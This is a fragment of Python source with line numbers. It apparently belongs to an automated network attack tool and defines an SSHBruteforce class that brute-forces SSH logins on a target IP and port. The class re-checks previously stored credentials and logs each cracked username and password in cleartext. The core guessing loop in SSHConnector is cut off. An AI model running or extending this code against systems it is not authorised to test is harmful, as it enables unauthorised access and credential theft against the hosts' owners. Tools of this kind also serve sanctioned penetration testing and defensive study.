Class to handle the SSH brute force process.
| 25 | b_parent = None |
| 26 | |
| 27 | class SSHBruteforce: |
| 28 | """ |
| 29 | Class to handle the SSH brute force process. |
| 30 | """ |
| 31 | def __init__(self, shared_data): |
| 32 | self.shared_data = shared_data |
| 33 | self.ssh_connector = SSHConnector(shared_data) |
| 34 | logger.info("SSHConnector initialized.") |
| 35 | |
| 36 | def bruteforce_ssh(self, ip, port): |
| 37 | """ |
| 38 | Run the SSH brute force attack on the given IP and port. |
| 39 | """ |
| 40 | logger.info(f"Running bruteforce_ssh on {ip}:{port}...") |
| 41 | return self.ssh_connector.run_bruteforce(ip, port) |
| 42 | |
| 43 | def execute(self, ip, port, row, status_key): |
| 44 | """ |
| 45 | Execute the brute force attack and update status. |
| 46 | Optimization: Skip bruteforce if valid credentials already exist for this host. |
| 47 | """ |
| 48 | logger.info(f"Executing SSHBruteforce on {ip}:{port}...") |
| 49 | |
| 50 | # Check if we already have valid credentials for this host |
| 51 | existing_creds = CredentialChecker.check_existing_credentials( |
| 52 | self.shared_data.sshfile, ip |
| 53 | ) |
| 54 | if existing_creds: |
| 55 | logger.info(f"SSH credentials already exist for {ip} - verifying instead of bruteforcing...") |
| 56 | # Verify credentials still work |
| 57 | if self._verify_credentials(ip, existing_creds): |
| 58 | logger.success(f"Existing SSH credentials verified for {ip}: {len(existing_creds)} account(s)") |
| 59 | return 'success' |
| 60 | else: |
| 61 | logger.warning(f"Existing credentials for {ip} no longer valid, will re-bruteforce") |
| 62 | |
| 63 | self.shared_data.ragnarorch_status = "SSHBruteforce" |
| 64 | success, results = self.bruteforce_ssh(ip, port) |
| 65 | if success and results: |
| 66 | for mac_address, ip_addr, hostname, user, password, used_port in results: |
| 67 | logger.success( |
| 68 | f"SSH credentials confirmed | MAC: {mac_address} | IP: {ip_addr} | Host: {hostname} | User: {user} | Password: {password} | Port: {used_port}" |
| 69 | ) |
| 70 | else: |
| 71 | logger.info(f"SSHBruteforce completed for {ip}:{port} with no valid credentials discovered") |
| 72 | return 'success' if success else 'failed' |
| 73 | |
| 74 | def _verify_credentials(self, ip, credentials): |
| 75 | """Verify that existing credentials still work (quick check).""" |
| 76 | for user, password in credentials: |
| 77 | if self.ssh_connector.ssh_connect(ip, user, password): |
| 78 | logger.debug(f"Verified credential for {ip}: {user}") |
| 79 | return True |
| 80 | return False |
| 81 | |
| 82 | class SSHConnector: |
| 83 | """ |